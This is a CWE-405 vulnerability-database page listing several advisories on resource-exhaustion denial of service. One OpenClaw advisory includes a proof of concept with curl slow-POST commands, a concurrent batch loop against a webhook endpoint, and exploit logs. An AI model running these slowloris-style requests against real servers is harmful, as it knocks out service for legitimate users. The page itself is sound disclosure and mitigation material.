Common Weakness Enumeration
CWE-405
Allowed-with-ReviewAsymmetric Resource Consumption (Amplification)
Abstraction: Class · Status: Incomplete
The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."
96 vulnerabilities reference this CWE, most recent first.
GHSA-W6M8-CQVJ-PG5V
Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44
VLAI
Summary
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Details
Fixed in OpenClaw 2026.3.24, the current shipping release.
Advisory Details
Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Description:
Summary
The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.
Details
In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:
const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)
// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB
timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s
responseFormat: "text",
});
The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:
- Any unauthenticated HTTP POST is accepted
- The server waits up to 30 seconds for the body to arrive
- Each connection can buffer up to 1MB
- Authentication only happens after the body is fully read
The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:
const PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s
The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.
Attack chain:
[Attacker sends slow HTTP POST to /feishu/events]
→ Rate limit check: passes (under 120 req/min)
→ Content-Type check: application/json, passes
→ installRequestBodyLimitGuard(1MB, 30s): installed
→ Body trickles at 1 byte/sec for 30 seconds
→ × 50 concurrent connections = connection exhaustion
→ Legitimate Feishu webhook deliveries blocked
PoC
Prerequisites: Docker installed.
Step 1: Create a minimal test server reproducing the vulnerable body parsing:
cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)
function bodyGuard(req, res, timeoutMs) {
let done = false;
const timer = setTimeout(() => {
if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
}, timeoutMs);
req.on("end", () => { done = true; clearTimeout(timer); });
req.on("close", () => { done = true; clearTimeout(timer); });
}
http.createServer((req, res) => {
if (req.url === "/healthz") { res.end("OK"); return; }
if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
console.log(`[${req.url}] +conn`);
bodyGuard(req, res, timeout);
res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1
Step 2: Verify the vulnerability — slow body holds connection for the full timeout:
# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/patched/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
Step 3: Batch exploit — 10 concurrent slow connections:
for i in $(seq 1 10); do
(echo -n 'A'; sleep 15) | \
curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35 &
done
wait
Log of Evidence
Exploit result (vulnerable /feishu/events):
=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10
[conn-0] held open for 15.0s (15B sent) [SUCCESS]
[conn-1] held open for 15.0s (15B sent) [SUCCESS]
[conn-2] held open for 15.0s (15B sent) [SUCCESS]
[conn-3] held open for 15.0s (15B sent) [SUCCESS]
[conn-4] held open for 15.0s (15B sent) [SUCCESS]
[conn-5] held open for 15.0s (15B sent) [SUCCESS]
[conn-6] held open for 15.0s (15B sent) [SUCCESS]
[conn-7] held open for 15.0s (15B sent) [SUCCESS]
[conn-8] held open for 15.0s (15B sent) [SUCCESS]
[conn-9] held open for 15.0s (15B sent) [SUCCESS]
=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!
Control result (patched /patched/events with 5s timeout):
=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events
[conn-0] RESET after 8.0s (8B)
[conn-1] RESET after 8.0s (8B)
...
[conn-9] RESET after 8.0s (8B)
Avg connection hold time: 8.0s (5s timeout + stagger delay)
Server-side Docker logs confirming the discrepancy:
[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)
Impact
An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.
With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave
The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.
Affected products
- Ecosystem: npm
- Package name: openclaw
- Affected versions: <= 2026.2.22
- Patched versions: None
Severity
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
- CWE: CWE-400: Uncontrolled Resource Consumption
Occurrences
| Permalink | Description |
|---|---|
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 | Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. |
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 | installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35665"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T18:32:03Z",
"nvd_published_at": "2026-04-10T17:17:08Z",
"severity": "MODERATE"
},
"details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB\n timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s\n responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n \u2192 Rate limit check: passes (under 120 req/min)\n \u2192 Content-Type check: application/json, passes\n \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n \u2192 Body trickles at 1 byte/sec for 30 seconds\n \u2192 \u00d7 50 concurrent connections = connection exhaustion\n \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n let done = false;\n const timer = setTimeout(() =\u003e {\n if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n }, timeoutMs);\n req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n console.log(`[${req.url}] +conn`);\n bodyGuard(req, res, timeout);\n res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n -X POST http://localhost:3000/patched/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n (echo -n \u0027A\u0027; sleep 15) | \\\n curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n -H \"Content-Type: application/json\" \\\n -H \"Content-Length: 65536\" \\\n --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n [conn-0] RESET after 8.0s (8B)\n [conn-1] RESET after 8.0s (8B)\n ...\n [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10) \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19) \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
"id": "GHSA-w6m8-cqvj-pg5v",
"modified": "2026-04-10T19:44:53Z",
"published": "2026-03-30T18:32:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}
GHSA-W75X-F9JM-QXX4
Vulnerability from github – Published: 2022-05-06 00:00 – Updated: 2022-05-14 00:03
VLAI
Details
OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2021-38447"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-05T17:15:00Z",
"severity": "HIGH"
},
"details": "OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition.",
"id": "GHSA-w75x-f9jm-qxx4",
"modified": "2022-05-14T00:03:34Z",
"published": "2022-05-06T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38447"
},
{
"type": "WEB",
"url": "https://opendds.org"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-315-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8W2-83MF-6CP5
Vulnerability from github – Published: 2025-01-30 00:31 – Updated: 2025-02-11 21:32
VLAI
Details
It is possible to construct a zone such that some queries to it will generate responses containing numerous records in the Additional section. An attacker sending many such queries can cause either the authoritative server itself or an independent resolver to use disproportionate resources processing the queries. Zones will usually need to have been deliberately crafted to attack this exposure. This issue affects BIND 9 versions 9.11.0 through 9.11.37, 9.16.0 through 9.16.50, 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, 9.11.3-S1 through 9.11.37-S1, 9.16.8-S1 through 9.16.50-S1, and 9.18.11-S1 through 9.18.32-S1.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-11187"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-29T22:15:28Z",
"severity": "HIGH"
},
"details": "It is possible to construct a zone such that some queries to it will generate responses containing numerous records in the Additional section. An attacker sending many such queries can cause either the authoritative server itself or an independent resolver to use disproportionate resources processing the queries. Zones will usually need to have been deliberately crafted to attack this exposure.\nThis issue affects BIND 9 versions 9.11.0 through 9.11.37, 9.16.0 through 9.16.50, 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, 9.11.3-S1 through 9.11.37-S1, 9.16.8-S1 through 9.16.50-S1, and 9.18.11-S1 through 9.18.32-S1.",
"id": "GHSA-w8w2-83mf-6cp5",
"modified": "2025-02-11T21:32:05Z",
"published": "2025-01-30T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11187"
},
{
"type": "WEB",
"url": "https://kb.isc.org/docs/cve-2024-11187"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250207-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X39R-JQ9Q-XVVH
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30
VLAI
Details
A series of specifically crafted, unauthenticated messages can exhaust available memory and crash a MongoDB server.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-25611"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T18:16:37Z",
"severity": "HIGH"
},
"details": "A series of specifically crafted, unauthenticated messages can exhaust available memory and crash a MongoDB server.",
"id": "GHSA-x39r-jq9q-xvvh",
"modified": "2026-02-10T18:30:43Z",
"published": "2026-02-10T18:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25611"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-116206"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-116210"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-116211"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XFCF-WWR2-W555
Vulnerability from github – Published: 2026-05-30 18:31 – Updated: 2026-06-01 18:31
VLAI
Details
Text::LineFold versions through 2019.001 for Perl duplicate the output based on the number of special break characters.
Text::LineFold splits the input string by specific line break characters (such as VT, FF and others) into segments, but applies the break function to the entire string, not just the segment.
A side effect of this is that the full input can be duplicated for each segment. Besides being incorrect, this can lead to unexpected resource consumption and possible denial of service.
Note that Text::LineFold is part of the Unicode-LineBreak distribution, which may have a higher version number than the module.
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-8594"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-30T16:17:05Z",
"severity": "MODERATE"
},
"details": "Text::LineFold versions through 2019.001 for Perl duplicate the output based on the number of special break characters.\n\nText::LineFold splits the input string by specific line break characters (such as VT, FF and others) into segments, but applies the break function to the entire string, not just the segment.\n\nA side effect of this is that the full input can be duplicated for each segment. Besides being incorrect, this can lead to unexpected resource consumption and possible denial of service.\n\nNote that Text::LineFold is part of the Unicode-LineBreak distribution, which may have a higher version number than the module.",
"id": "GHSA-xfcf-wwr2-w555",
"modified": "2026-06-01T18:31:47Z",
"published": "2026-05-30T18:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8594"
},
{
"type": "WEB",
"url": "https://github.com/hatukanezumi/Unicode-LineBreak/pull/6"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/NEZUMI/Unicode-LineBreak-2019.001/source/lib/Text/LineFold.pm#L407-415"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/U/Unicode-LineBreak/2019.001/CVE-2026-8594-r1.patch"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/30/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XVR7-P2C6-J83W
Vulnerability from github – Published: 2025-08-13 23:54 – Updated: 2025-08-13 23:54
VLAI
Summary
swift-nio-http2 affected by HTTP/2 MadeYouReset vulnerability
Details
The HTTP/2 MadeYouReset vulnerability has a mild effect on swift-nio-http2.
swift-nio-http2 mostly protects against MadeYouReset by using a number of existing denial-of-service prevention patterns that we added in response to the RapidReset vulnerabilities. The result is that servers are not vulnerable to naive attacks based on MadeYouReset, and the naive PoC examples do not affect swift-nio-http2.
However, in 1.38.0 we added some defense-in-depth measures as a precautionary measure that detect clients behaving "weirdly". These defense in depth measures tackle resource drain attacks where attackers interleave attack traffic with legitimate traffic to try to evade our existing DoS prevention mechanisms.
We recommend all adopters move to 1.38.0 as soon as possible to mitigate against more sophisticated attacks that may appear in the future.
We are very grateful to @galbarnahum, @AnatBB, and @YanivRL for their reporting and assistance with our process.
Severity
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/apple/swift-nio-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.38.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T23:54:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The HTTP/2 [MadeYouReset vulnerability](https://galbarnahum.com/made-you-reset) has a mild effect on swift-nio-http2.\n\nswift-nio-http2 mostly protects against MadeYouReset by using a number of existing denial-of-service prevention patterns that we added in response to the RapidReset vulnerabilities. The result is that servers are not vulnerable to naive attacks based on MadeYouReset, and the naive PoC examples do not affect swift-nio-http2.\n\nHowever, in 1.38.0 we added some defense-in-depth measures as a precautionary measure that detect clients behaving \"weirdly\". These defense in depth measures tackle resource drain attacks where attackers interleave attack traffic with legitimate traffic to try to evade our existing DoS prevention mechanisms.\n\nWe recommend all adopters move to 1.38.0 as soon as possible to mitigate against more sophisticated attacks that may appear in the future.\n\nWe are very grateful to @galbarnahum, @AnatBB, and @YanivRL for their reporting and assistance with our process.",
"id": "GHSA-xvr7-p2c6-j83w",
"modified": "2025-08-13T23:54:02Z",
"published": "2025-08-13T23:54:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-nio-http2/security/advisories/GHSA-xvr7-p2c6-j83w"
},
{
"type": "PACKAGE",
"url": "https://github.com/apple/swift-nio-http2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "swift-nio-http2 affected by HTTP/2 MadeYouReset vulnerability"
}
Mitigation
Architecture and Design
An application must make resources available to a client commensurate with the client's access level.
Mitigation
Architecture and Design
An application must, at all times, keep track of allocated resources and meter their usage appropriately.
Mitigation
System Configuration
Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.
No CAPEC attack patterns related to this CWE.